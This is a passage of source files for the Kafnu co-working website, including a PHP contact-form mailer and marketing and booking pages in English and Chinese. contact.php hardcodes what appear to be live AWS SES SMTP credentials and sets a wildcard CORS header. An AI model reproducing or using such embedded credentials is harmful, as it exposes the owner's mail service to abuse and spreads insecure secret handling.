class="grid-item wow fadeInUp"> <a href="https://www.facebook.com/kafnuhk/videos/1943871022519532/" target="_blank" class="social-media-source-tag" target="_blank"> <div class="manic-image-container video-version"> <img src="" data-image-desktop="images_cms/home/fb-video-thumb-01.jpg" alt=""> </div> </a> </div> <div data-wow-offset="55" class="grid-item wow fadeInUp"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook color-version"> <div class="grid-item-text-container"> <h5>Bill - Company of Dreamers</h5> <p class="minimize-text" data-length="-1" data-tablet-length="35" data-mobile-length="60">Bill Black, ex-hotelier and Director at Next Story Group, discusses what sets Kafnu apart as a...</p> </div> </a> </div> <div data-wow-offset="60" class="grid-item wow fadeInUp"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/fb-image-thumb-01.jpg" alt=""> </div> </a> </div> <div data-wow-offset="65" class="grid-item wow fadeInUp"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/fb-image-thumb-02.jpg" alt=""> </div> </a> </div> <div data-wow-offset="70" class="grid-item wow fadeInUp"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/in-image-thumb-01.jpg" alt=""> </div> </a> </div> <div data-wow-offset="75" class="grid-item wow fadeInUp"> <a href="https://www.youtube.com/watch?v=Wx-O38D0WuA" target="_blank" class="social-media-source-tag youtube" target="_blank"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/youtube-thumb-01.jpg" alt=""> </div> </a> </div> <div data-wow-offset="80" class="grid-item wow fadeInUp"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/in-image-thumb-02.jpg" alt=""> </div> </a> </div> <div data-wow-offset="85" class="grid-item wow fadeInUp"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/in-image-thumb-03.jpg" alt=""> </div> </a> </div> <div data-wow-offset="90" class="grid-item wow fadeInUp"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/in-image-thumb-04.jpg" alt=""> </div> </a> </div> <div data-wow-offset="95" class="grid-item wow fadeInUp"> <a href="https://www.youtube.com/watch?v=FiVGdSg_pDk" target="_blank" class="social-media-source-tag youtube" target="_blank"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/youtube-thumb-02.jpg" alt=""> </div> </a> </div> <div data-wow-offset="100" class="grid-item grid-item--width2 grid-item--height2 wow fadeInUp"> <a href="http://www.webintravel.com/next-story-reimagines-urban-spaces-kafnu-vertical-village/" target="_blank" class="social-media-source-tag news color-version"> <div class="grid-item-text-container"> <h5 class="minimize-text" data-length="-1" data-tablet-length="50" data-tablet-length="10">Next Story reimagines urban spaces with Kafnu, the vertical village</h5> <p class="minimize-text" data-length="-1" data-tablet-length="80" data-tablet-length="10">Next Story Group, formerly Silver Needle Hospitality, will be launching two spaces in Taipei and Hong Kong under a new brand, Kafnu, by year end.</p> <p class="minimize-text" data-length="-1" data-tablet-length="0" data-tablet-length="10">Seeking to reimagine urban spaces through technology and story, the company says the new spaces will synthesise “the best aspects of co-working, co-living, hotel, retail and private club”.</p> </div> </a> </div> <div data-wow-offset="105" class="grid-item wow fadeInUp"> <a href="https://www.youtube.com/watch?v=Q1EgmSBFql0" target="_blank" class="social-media-source-tag youtube" target="_blank"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/youtube-thumb-03.jpg" alt=""> </div> </a> </div> <div data-wow-offset="110" class="grid-item wow fadeInUp"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/fb-image-thumb-03.jpg" alt=""> </div> </a> </div> <div data-wow-offset="115" class="grid-item wow fadeInUp"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/in-image-thumb-05.jpg" alt=""> </div> </a> </div> <div data-wow-offset="120" class="grid-item wow fadeInUp"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/fb-image-thumb-04.jpg" alt=""> </div> </a> </div> <div data-wow-offset="125" class="grid-item wow fadeInUp"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/fb-image-thumb-05.jpg" alt=""> </div> </a> </div> <div data-wow-offset="130" class="grid-item grid-item--width2 wow fadeInUp"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook color-version"> <div class="grid-item-text-container"> <h5 class="minimize-text" data-length="-1" data-tablet-length="50" data-tablet-length="10">Anyone curious about the space and its design for Kafnu Hong Kong?</h5> <p class="minimize-text" data-length="-1" data-tablet-length="80" data-tablet-length="10">Each space is inline with our brand's innovative spirit and local elements. The most special element</p> </div> </a> </div> <div data-wow-offset="135" class="grid-item wow fadeInUp"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/in-image-thumb-06.jpg" alt=""> </div> </a> </div> <div data-wow-offset="140" class="grid-item wow fadeInUp"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/fb-image-thumb-06.jpg" alt=""> </div> </a> </div> <div data-wow-offset="145" class="grid-item wow fadeInUp"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/in-image-thumb-07.jpg" alt=""> </div> </a> </div> </div> <!-- grid --> </div> <!-- home-masonry-grid-container --> <div id="default-grid-container-mobile" class="visible-xs visible-sm"> <div class="grid-item"> <a href="http://www.youtube.com" target="_blank" class="social-media-source-tag youtube" target="_blank"> <div class="manic-image-container video-version"> <img src="" data-image-desktop="images_cms/home/fb-video-thumb-01.jpg" data-image-tablet="images_cms/home/fb-video-thumb-01.jpg" data-image-mobile="images_cms/home/fb-video-thumb-01.jpg" alt=""> </div> </a> </div> <div class="grid-item"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook color-version"> <div class="grid-item-text-container"> <h5>Bill - Company of Dreamers</h5> <p>Bill Black, ex-hotelier and Director at Next Story Group...</p> </div> </a> </div> <div class="grid-item"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/in-image-thumb-02.jpg" data-image-tablet="images_cms/home/in-image-thumb-02.jpg" data-image-mobile="images_cms/home/in-image-thumb-02.jpg" alt=""> </div> </a> </div> <div class="grid-item"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/in-image-thumb-03.jpg" data-image-tablet="images_cms/home/in-image-thumb-03.jpg" data-image-mobile="images_cms/home/in-image-thumb-03.jpg" alt=""> </div> </a> </div> </div> </div> </div> <!-- row --> </div> </article> <!-- page-home-social-media-masonry-section --> </div> <!-- #page-wrapper-content --> </div> <!-- #page-wrapper --> <?php include "includes/footer_desktop.php"; ?> <?php include "includes/footer_mobile.php"; ?> <?php include "includes/script_home.php" ?> </body> </html> <?php // saving captured output to file file_put_contents('index.html', ob_get_contents()); // end buffering and displaying page ob_end_flush(); ?>``` contact.php ```<?php header('Access-Control-Allow-Origin: *'); session_start(); require 'PHPMailer/PHPMailerAutoload.php'; $form_validation_error_msg = array(); $form_validation_errors = false; function filter_data($data) { $data = trim($data); $data = stripslashes($data); $data = htmlspecialchars($data); return $data; } if ($_SERVER["REQUEST_METHOD"] == "POST") { $first_name = filter_data($_POST['first_name']); $last_name = filter_data($_POST['last_name']); $email = filter_data($_POST['email']); $message = filter_data($_POST['message']); if(empty($first_name)) { $form_validation_error_msg[] = "<p>First name is required</p>"; $form_validation_errors = true; } if(empty($last_name)) { $form_validation_error_msg[] = "<p>Last name is required</p>"; $form_validation_errors = true; } if(!filter_var($email, FILTER_VALIDATE_EMAIL)) { $form_validation_error_msg[] = "<p>Email is not valid</p>"; $form_validation_errors = true; } if(empty($message)) { $form_validation_error_msg[] = "<p>Message is required</p>"; $form_validation_errors = true; } if($form_validation_errors==false) { $mail = new PHPMailer; //$mail->SMTPDebug = 3; // Enable verbose debug output $mail->isSMTP(); // Set mailer to use SMTP $mail->Host = 'email-smtp.us-east-1.amazonaws.com'; // Specify main and backup SMTP servers $mail->SMTPAuth = true; // Enable SMTP authentication $mail->Username = 'AKIAIHCZF7MDW7Y5V6MQ'; // SMTP username $mail->Password = 'Akq56c04U49z61BjwjfiZSbb2i9sa6zrqKu7mANkE5nW'; // SMTP password $mail->SMTPSecure = 'tls'; // Enable TLS encryption, `ssl` also accepted $mail->Port = 587; // TCP port to connect to $mail->setFrom('kafnuinfo@nextstory.com', $name); $mail->addAddress('hongkong@kafnu.com', 'Kafnu Info'); // Add a recipient //kafnuinfo@nextstory.com // hongkong@kafnu.com $mail->addReplyTo($email, $name); $mail->isHTML(true); // Set email format to HTML $mail->Subject = 'Message from Kafnu website'; $body = 'Hi, <br><br> We just got a message on Kafnu website and here is details of message: <p>First name: '.$first_name.' </p><p>Last name: '.$last_name.' </p><p>Email: '.$email.' </p><p>Message: '.$message; $mail->Body = $body; $mail->AltBody = ''; $mail->send(); echo 'Thank you for getting in touch! We will be in contact to assist you.'; // if(!$mail->send()) { // echo 'Message could not be sent.'; // echo 'Mailer Error: ' . $mail->ErrorInfo; // } else { // echo 'Thank you for getting in touch! We will be in contact to assist you.'; // } }else { // foreach ($form_validation_error_msg as $key => $error_msg) { // echo $error_msg; // } echo 'error sending email'; } } ?>``` work.php ```<?php ob_start(); ?> <?php global $current_page; $current_page = "page-play"; ?> <!doctype html> <!--[if lt IE 7]> <html class="no-js lt-ie9 lt-ie8 lt-ie7" lang=""> <![endif]--> <!--[if IE 7]> <html class="no-js lt-ie9 lt-ie8" lang=""> <![endif]--> <!--[if IE 8]> <html class="no-js lt-ie9" lang=""> <![endif]--> <!--[if gt IE 8]><!--> <html class="no-js" lang=""> <!--<![endif]--> <head> <?php include 'includes/head.php'; ?> </head> <body class="<?php echo $current_page; ?>"> <!-- home-expand-header-version --> <!-- only the home page has the class home-expand-header-version by default --> <?php include "includes/preloader.php"; ?> <?php include "includes/header_desktop.php"; ?> <?php include "includes/header_mobile.php"; ?> <div id="page-wrapper"> <div id="page-wrapper-content"> <div id="page-home-nav-trigger"></div> <!-- ____ _ _ _ _ _ _____ ____ | __ ) / \ | \ | | \ | | ____| _ \ | _ \ / _ \ | \| | \| | _| | |_) | | |_) / ___ \| |\ | |\ | |___| _ < |____/_/ \_\_| \_|_| \_|_____|_| \_\ --> <article id="page-default-banner-section"> <div id="page-default-banner-image" class="visible-lg visible-md"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/work/work-banner.jpg"> </div> </div> <div id="page-default-banner-image-mobile" class="visible-sm visible-xs"> <div class="manic-image-container has-window-height"> <img src="" data-image-tablet="images_cms/work/work-banner.jpg" data-image-mobile="images_cms/work/work-banner-mobile.jpg"> </div> </div> <div id="page-default-banner-copy-container" class="center-version medium-text-version"> <div class="container-fluid"> <div class="row"> <div class="col-md-12"> <div id="page-default-banner-copy"> <h1>從這裡開始的旅程</h1> <h3>共享空間 + 靈感啟發</h3> </div> <!-- page-default-banner-copy --> </div> </div> </div> </div> <!-- page-default-banner-copy-container --> </article> <!-- page-default-banner-section --> <article id="page-play-slider-section"> <div class="container-fluid"> <div class="row"> <div class="col-md-10 col-md-offset-1"> <div id="page-play-slider-title"> <h3>Kafnu 提供各種工具、設施與服務,協助你達成目標。</h3> </div> <!-- page-play-slider-title --> <div id="page-play-slider-container"> <div id="page-play-slider" class="kafnu-slick-slider"> <div class="page-play-slider-item"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/work/work-slider-1.jpg" data-image-tablet="images_cms/work/work-slider-1.jpg" data-image-mobile="images_cms/work/work-slider-1.jpg" alt=""> </div> </div> <!-- <div class="page-play-slider-item"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/play/play-slider-2.jpg" data-image-tablet="images_cms/play/play-slider-2.jpg" data-image-mobile="images_cms/play/play-slider-2.jpg" alt=""> </div> </div> <div class="page-play-slider-item"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/play/play-slider-3.jpg" data-image-tablet="images_cms/play/play-slider-3.jpg" data-image-mobile="images_cms/play/play-slider-3.jpg" alt=""> </div> </div> --> </div> </div> <!-- page-play-slider-container --> </div> </div> <!-- row --> </div> </article> <!-- page-play-slider-section --> <article id="page-play-extra-section"> <div class="container-fluid"> <div class="row"> <div class="col-md-8 col-md-offset-1"> <!-- <div id="page-play-extra-icons-container" class="hidden-xs hidden-sm"> <ul> <li><a href="#drink" class="drink active-icon"></a></li> <li><a href="#music" class="music"></a></li> <li><a href="#tennis" class="tennis"></a></li> <li><a href="#swim" class="swim"></a></li> </ul> </div> --> <div class="page-play-extra-content-container drink-tab active-tab"> <div id="page-play-extra-content"> <div class="manic-image-container hidden-xs hidden-sm"> <img src="" data-image-desktop="images_cms/work/work-tab-1.jpg" data-image-tablet="images_cms/work/work-tab-1.jpg" data-image-mobile="images_cms/work/work-tab-1.jpg" alt=""> </div> <div class="text-container"> <h2>全方位諮詢顧問</h2> <p>在 Kafnu,每個人都主動協助他人。年輕會員與有經驗的會員彼此交流、藝術家與科技精英切磋想法、媒體專業者與創業家交換心得。開放與互助是我們重要核心價值。</p> </div> <div class="manic-image-container visible-xs visible-sm"> <img src="" data-image-desktop="images_cms/play/play-tab-1.jpg" data-image-tablet="images_cms/play/play-tab-1.jpg" data-image-mobile="images_cms/play/play-tab-1.jpg" alt=""> </div> </div> </div> <div class="page-play-extra-content-container music-tab"> <div id="page-play-extra-content"> <div class="manic-image-container hidden-xs hidden-sm"> <img src="" data-image-desktop="images_cms/play/play-tab-2.jpg" data-image-tablet="images_cms/play/play-tab-2.jpg" data-image-mobile="images_cms/play/play-tab-2.jpg" alt=""> </div> <div class="text-container"> <h2>全方位諮詢顧問</h2> <p>在 Kafnu,每個人都主動協助他人。年輕會員與有經驗的會員彼此交流、藝術家與科技精英切磋想法、媒體專業者與創業家交換心得。開放與互助是我們重要核心價值。</p> </div> <div class="manic-image-container visible-xs visible-sm"> <img src="" data-image-desktop="images_cms/play/play-tab-2.jpg" data-image-tablet="images_cms/play/play-tab-2.jpg" data-image-mobile="images_cms/play/play-tab-2.jpg" alt=""> </div> </div> </div> <div class="page-play-extra-content-container tennis-tab"> <div id="page-play-extra-content"> <div class="manic-image-container hidden-xs hidden-sm"> <img src="" data-image-desktop="images_cms/play/play-tab-3.jpg" data-image-tablet="images_cms/play/play-tab-3.jpg" data-image-mobile="images_cms/play/play-tab-3.jpg" alt=""> </div> <div class="text-container"> <h2>全方位諮詢顧問</h2> <p>在 Kafnu,每個人都主動協助他人。年輕會員與有經驗的會員彼此交流、藝術家與科技精英切磋想法、媒體專業者與創業家交換心得。開放與互助是我們重要核心價值。</p> </div> <div class="manic-image-container visible-xs visible-sm"> <img src="" data-image-desktop="images_cms/play/play-tab-3.jpg" data-image-tablet="images_cms/play/play-tab-3.jpg" data-image-mobile="images_cms/play/play-tab-3.jpg" alt=""> </div> </div> </div> <div class="page-play-extra-content-container swim-tab"> <div id="page-play-extra-content"> <div class="manic-image-container hidden-xs hidden-sm"> <img src="" data-image-desktop="images_cms/play/play-tab-4.jpg" data-image-tablet="images_cms/play/play-tab-4.jpg" data-image-mobile="images_cms/play/play-tab-4.jpg" alt=""> </div> <div class="text-container"> <h2>全方位諮詢顧問</h2> <p>在 Kafnu,每個人都主動協助他人。年輕會員與有經驗的會員彼此交流、藝術家與科技精英切磋想法、媒體專業者與創業家交換心得。開放與互助是我們重要核心價值。</p> </div> <div class="manic-image-container visible-xs visible-sm"> <img src="" data-image-desktop="images_cms/play/play-tab-4.jpg" data-image-tablet="images_cms/play/play-tab-4.jpg" data-image-mobile="images_cms/play/play-tab-4.jpg" alt=""> </div> </div> </div> <!-- <div id="page-play-extra-icons-container" class="visible-xs visible-sm"> <ul> <li><a href="#drink" class="drink active-icon"></a></li> <li><a href="#music" class="music"></a></li> <li><a href="#tennis" class="tennis"></a></li> <li><a href="#swim" class="swim"></a></li> </ul> </div> --> </div> </div> </div> </article> <article id="page-play-location-section"> <div class="container-fluid"> <div class="row"> <div class="col-md-4 col-md-offset-1 v-align-col"> <div class="text-container"> <h3 class="minimize-text" data-length="-1" data-tablet-length="130" data-mobile-length="-1">Kafnu 打破傳統的共同工作空間模式,每間Kafnu 均以多元概念打造,設計出有機而混搭工作/玩樂/學習/休憩等四大型態的空間,讓會員們能充分發展創意,並連結社群。</h3> </div> <div class="cta-container hidden-xs hidden-sm"> <a href="index.html#location" class="plus-cta">我們的地點</a> </div> </div><!-- --><div class="col-md-7 v-align-col"> <div class="page-play-location-content-container"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/work/work-content.jpg" data-image-tablet="images_cms/work/work-content.jpg" data-image-mobile="images_cms/work/work-content.jpg" alt=""> </div> </div> <div class="cta-container visible-sm visible-xs"> <a href="index.html#location" class="plus-cta">我們的地點</a> </div> </div> </div> </div> </article> </div> <!-- #page-wrapper-content --> </div> <!-- #page-wrapper --> <?php include "includes/footer_desktop.php"; ?> <?php include "includes/footer_mobile.php"; ?> <?php include "includes/script_play.php" ?> </body> </html> <?php // saving captured output to file file_put_contents('work.html', ob_get_contents()); // end buffering and displaying page ob_end_flush(); ?>``` kafnuhk.php ```<?php ob_start(); ?> <?php global $current_page; $current_page = "page-country"; ?> <!doctype html> <!--[if lt IE 7]> <html class="no-js lt-ie9 lt-ie8 lt-ie7" lang=""> <![endif]--> <!--[if IE 7]> <html class="no-js lt-ie9 lt-ie8" lang=""> <![endif]--> <!--[if IE 8]> <html class="no-js lt-ie9" lang=""> <![endif]--> <!--[if gt IE 8]><!--> <html class="no-js" lang=""> <!--<![endif]--> <head> <?php include 'includes/head.php'; ?> </head> <body class="<?php echo $current_page; ?>"> <!-- home-expand-header-version --> <!-- only the home page has the class home-expand-header-version by default --> <?php include "includes/preloader.php"; ?> <?php include "includes/header_desktop.php"; ?> <?php include "includes/header_mobile.php"; ?> <div id="page-wrapper"> <div id="page-wrapper-content"> <div id="page-home-nav-trigger"></div> <div class="header-desktop-spacer hidden-xs hidden-sm"></div> <!-- ____ _ _ _ _ _ _____ ____ | __ ) / \ | \ | | \ | | ____| _ \ | _ \ / _ \ | \| | \| | _| | |_) | | |_) / ___ \| |\ | |\ | |___| _ < |____/_/ \_\_| \_|_| \_|_____|_| \_\ --> <article id="page-default-banner-section" class="country-version"> <div id="page-default-banner-image" class="visible-lg visible-md"> <div class="container-fluid reduce-padding"> <div class="row"> <div class="col-lg-9 col-md-8 no-padding"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/hong-kong-banner.jpg"> </div> </div> <div class="col-lg-3 col-md-4 no-padding"> <div id="banner-sidebar-container" class="kafnu-slick-slider"> <div class="banner-sidebar-item"> <div class="banner-sidebar-item-title"> <h6>upcoming events</h6> </div> <div class="banner-sidebar-item-image"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/event-slider-01.jpg" data-image-tablet="images_cms/country/event-slider-01.jpg" data-image-mobile="images_cms/country/event-slider-01.jpg" alt=""> </div> </div> <div class="banner-sidebar-item-text"> <h5>Vision Board for the Future</h5> <p>12 October 2017 – 6:30 PM</p> <p>We celebrate Kafnu’s opening with a stimulating panel discussion, tasty cocktails, and special guests.</p> </div> <!-- <div class="banner-sidebar-item-cta-container"> <a href="community.html#events" class="square-cta border-version">See More</a> </div> --> </div><!-- banner-sidebar-item --> <!-- <div class="banner-sidebar-item"> <div class="banner-sidebar-item-title"> <h6>upcoming events</h6> </div> <div class="banner-sidebar-item-image"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/event-slider-02.jpg" data-image-tablet="images_cms/country/event-slider-02.jpg" data-image-mobile="images_cms/country/event-slider-02.jpg" alt=""> </div> </div> <div class="banner-sidebar-item-text"> <h5>Reception for HICAP conference attendees</h5> <p>19 October 2017 – 7:00 PM</p> <p>In Hong Kong for HICAP? See the world’s first Kafnu and prepare for some special surprises.</p> </div> <!- - <div class="banner-sidebar-item-cta-container"> <a href="community.html#events" class="square-cta border-version">See More</a> </div> - -> </div> --><!-- banner-sidebar-item --> <!-- <div class="banner-sidebar-item"> <div class="banner-sidebar-item-title"> <h6>upcoming events</h6> </div> <div class="banner-sidebar-item-image"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/event-slider-03.jpg" data-image-tablet="images_cms/country/event-slider-03.jpg" data-image-mobile="images_cms/country/event-slider-03.jpg" alt=""> </div> </div> <div class="banner-sidebar-item-text"> <h5>‘Unchartered Territories’ Dinner.</h5> <p>20 October 2017 – 6:00 PM</p> <p>Experience Hong Kong’s best-kept secret restaurants, in a dinner tour hosted by Kafnu for HICAP attendees.</p> </div> <!- - <div class="banner-sidebar-item-cta-container"> <a href="community.html#events" class="square-cta border-version">See More</a> </div> - -> </div> --><!-- banner-sidebar-item --> <!-- <div class="banner-sidebar-item"> <div class="banner-sidebar-item-title"> <h6>upcoming events</h6> </div> <div class="banner-sidebar-item-image"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/event-slider-04.jpg" data-image-tablet="images_cms/country/event-slider-04.jpg" data-image-mobile="images_cms/country/event-slider-04.jpg" alt=""> </div> </div> <div class="banner-sidebar-item-text"> <h5>Doing business in Taiwan</h5> <p>30 Oct – 3 Nov</p> <p>A week of seminars and “office hours” with individual consultation with experts on doing business in Taiwan – from setting up a company, working with hardware factories, hiring and HR, and importing/exporting.</p> </div> <!- - <div class="banner-sidebar-item-cta-container"> <a href="community.html#events" class="square-cta border-version">See More</a> </div> - -> </div> --><!-- banner-sidebar-item --> </div> <!-- banner-sidebar-container --> </div> </div> <!-- row --> </div> </div> <!-- page-default-banner-image --> <div id="page-default-banner-image-mobile" class="visible-sm visible-xs"> <div class="manic-image-container has-window-height"> <img src="" data-image-tablet="images_cms/country/hong-kong-banner.jpg" data-image-mobile="images_cms/country/hong-kong-banner.jpg"> </div> </div> <div id="page-default-banner-copy-container" class="left-version"> <div class="container-fluid"> <div class="row"> <div class="col-md-12"> <div id="page-default-banner-copy"> <h1>Kafnu Hong Kong</h1> <h3>A vibrant community on Victoria Harbour in the heart of Hung Hom</h3> </div> <!-- page-default-banner-copy --> </div> </div> </div> </div> <!-- page-default-banner-copy-container --> </article> <!-- page-default-banner-section --> <article id="page-default-booking-section"> <div class="container-fluid reduce-padding"> <div id="page-default-booking-item-desktop" class="hidden-sm hidden-xs"> <div class="row"> <div class="col-md-3 no-padding page-default-booking-item"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/booking-space-01.jpg" data-image-tablet="images_cms/country/booking-space-01.jpg" data-image-mobile="images_cms/country/booking-space-01-mobile.jpg" alt=""> </div> <div class="page-default-booking-item-text"> <h5>Hot Desk</h5> <p>Choose your favorite seat and book by hour, day or month.</p> <span id="price-changes" class="price">From HK$70/Hour</span> </div> <div class="page-default-booking-item-cta-container dropdown-version"> <a href="javascript:void(0);" class="square-cta border-version">Book Now</a> <ul id="book-now-dropdown"> <li><a href="https://hongkong.kafnu.com/en/bookings/search?type=435361936" data-price="From HK$70/Hour" target="_blank">Hourly</a></li> <li><a href="https://hongkong.kafnu.com/en/signup?returnUrl=/en/store/signupproducts?productid=435575149" data-price="HK$550/Day" target="_blank">Daily</a></li> <li><a href="https://hongkong.kafnu.com/en/signup/priceplan/60da246c-9686-4342-8cef-6ea4fd12604f?startdate=" data-price="HK$2,500/Month" target="_blank">5-Day Pass</a></li> <li><a href="https://hongkong.kafnu.com/en/tour" data-price="HK$6,500/Month" target="_blank">Monthly</a></li> </ul> <!-- <a href="javascript:void(0);" class="open-soon"><span>Open 3 October</span></a> --> </div> </div> <div class="col-md-3 no-padding page-default-booking-item"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/booking-space-02.jpg" data-image-tablet="images_cms/country/booking-space-02.jpg" data-image-mobile="images_cms/country/booking-space-02.jpg" alt=""> </div> <div class="page-default-booking-item-text"> <h5>4 Person Meeting Room</h5> <p>Comfortable seating, colorful artwork, high-quality screens.</p> <span class="price">From HK$600/Hour</span> </div> <div class="page-default-booking-item-cta-container"> <a href="https://hongkong.kafnu.com/en/bookings/search?type=435361933" target="_blank" class="square-cta border-version">Book Now</a> <!-- <a href="javascript:void(0);" class="open-soon"><span>Open 3 October</span></a> --> </div> </div> <div class="col-md-3 no-padding page-default-booking-item"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/booking-space-03.jpg" data-image-tablet="images_cms/country/booking-space-03.jpg" data-image-mobile="images_cms/country/booking-space-03.jpg" alt=""> </div> <div class="page-default-booking-item-text"> <h5>6 Person Meeting Room</h5> <p>Digital light cubes or panels, industrial walls, wireless projection.</p> <span class="price">From HK$750/Hour</span> </div> <div class="page-default-booking-item-cta-container"> <a href="https://hongkong.kafnu.com/en/bookings/search?type=435361934" target="_blank" class="square-cta border-version">Book Now</a> <!-- <a href="javascript:void(0);" class="open-soon"><span>Open 3 October</span></a> --> </div> </div> <div class="col-md-3 no-padding page-default-booking-item"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/booking-space-04.jpg" data-image-tablet="images_cms/country/booking-space-04.jpg" data-image-mobile="images_cms/country/booking-space-04.jpg" alt=""> </div> <div class="page-default-booking-item-text"> <h5>8 Person Meeting Room</h5> <p>80-inch screen, integrated aqua scape (coming soon).</p> <span class="price">From HK$900/Hour</span> </div> <div class="page-default-booking-item-cta-container"> <a href="https://hongkong.kafnu.com/en/bookings/search?type=435361935" target="_blank" class="square-cta border-version">Book Now</a> <!-- <a href="javascript:void(0);" class="open-soon"><span>Open 3 October</span></a> --> </div> </div> </div> <!-- row --> </div> <!-- __ _______ ____ ______ ______ / |/ / __ \/ __ )/ _/ / / ____/ / /|_/ / / / / __ |/ // / / __/ / / / / /_/ / /_/ // // /___/ /___ /_/ /_/\____/_____/___/_____/_____/ --> <div id="page-default-booking-item-mobile" class="visible-sm visible-xs"> <div class="row"> <div class="col-sm-12 no-padding page-default-booking-item"> <div class="manic-expand-container mobile-open-version"> <div class="scroll-target" data-value="hot-desk"></div> <div class="manic-expand-container-title"> <h5>Hot Desk</h5> </div> <div class="manic-expand-container-btn"></div> <div class="manic-expand-container-content"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/booking-space-01.jpg" data-image-tablet="images_cms/country/booking-space-01.jpg" data-image-mobile="images_cms/country/booking-space-01-mobile.jpg" alt=""> </div> <div class="page-default-booking-item-text"> <h5>Hot Desk</h5> <p>Choose your favorite seat and book by hour, day or month.</p> <!-- <span class="price">From HK$70/Hour</span> --> </div> <div class="booknow-slider kafnu-slick-slider"> <div class="booknow-slider-item"> <span class="time">Hourly</span> <span class="price">From HK$70/Hour</span> <div class="page-default-booking-item-cta-container"> <a href="https://hongkong.kafnu.com/en/bookings/search?type=435361936" target="_blank" class="square-cta border-version">Book Now</a> </div> </div> <div class="booknow-slider-item"> <span class="time">Daily</span> <span class="price">HK$550/Day</span> <div class="page-default-booking-item-cta-container"> <a href="https://hongkong.kafnu.com/en/signup?returnUrl=/en/store/signupproducts?productid=435575149" target="_blank" class="square-cta border-version">Book Now</a> </div> </div> <div class="booknow-slider-item"> <span class="time">5-Day Pass</span> <span class="price">HK$2,500/Month</span> <div class="page-default-booking-item-cta-container"> <a href="https://hongkong.kafnu.com/en/signup/priceplan/60da246c-9686-4342-8cef-6ea4fd12604f?startdate=" target="_blank" class="square-cta border-version">Book Now</a> </div> </div> <div class="booknow-slider-item"> <span class="time">Monthly</span> <!-- <span class="price">From HK$70/Hour</span> --> <div class="page-default-booking-item-cta-container"> <a href="https://hongkong.kafnu.com/en/tour" target="_blank" class="square-cta border-version">Book Now</a> </div> </div> </div> <!-- <div class="page-default-booking-item-cta-container"> <a href="javascript:void(0);" class="open-soon"><span>Open 3 October</span></a> </div> --> </div> </div> </div> <div class="col-sm-12 no-padding page-default-booking-item"> <div class="manic-expand-container"> <div class="scroll-target" data-value="4-person"></div> <div class="manic-expand-container-title"> <h5>4 Person Meeting Room</h5> </div> <div class="manic-expand-container-btn"></div> <div class="manic-expand-container-content"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/booking-space-02.jpg" data-image-tablet="images_cms/country/booking-space-02.jpg" data-image-mobile="images_cms/country/booking-space-02.jpg" alt=""> </div> <div class="page-default-booking-item-text"> <h5>4 Person Meeting Room</h5> <p>Comfortable seating, colorful artwork, high-quality screens.</p> <span class="price">From HK$600/Hour</span> </div> <div class="page-default-booking-item-cta-container"> <a href="https://hongkong.kafnu.com/en/bookings/search?type=435361933" target="_blank" class="square-cta border-version">Book Now</a> <!-- <a href="javascript:void(0);" class="open-soon"><span>Open 3 October</span></a> --> </div> </div> </div> </div> <div class="col-sm-12 no-padding page-default-booking-item"> <div class="manic-expand-container"> <div class="scroll-target" 